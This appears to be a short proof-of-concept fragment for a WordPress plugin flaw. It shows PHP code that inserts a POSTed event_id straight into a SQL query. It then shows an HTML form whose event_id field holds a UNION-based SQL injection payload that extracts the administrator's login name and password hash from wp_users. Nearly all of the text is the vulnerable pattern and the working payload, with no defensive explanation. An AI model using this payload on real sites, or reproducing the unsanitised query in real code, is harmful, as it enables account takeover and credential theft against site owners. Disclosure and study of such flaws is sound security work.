$edit_event = $_POST['event_id'];
$update     = $wpdb->get_results( " SELECT * FROM $table_name WHERE id = $edit_event ", "ARRAY_A" );

   <input type="text" name="event_id"
         value="0 UNION SELECT 1,2,3,CONCAT(user_login,char(58),user_pass) COLLATE utf8mb4_general_ci as user_login,5,6,7,8,9 FROM wp_users WHERE ID=1">
   <input type="submit" name="">
</form>
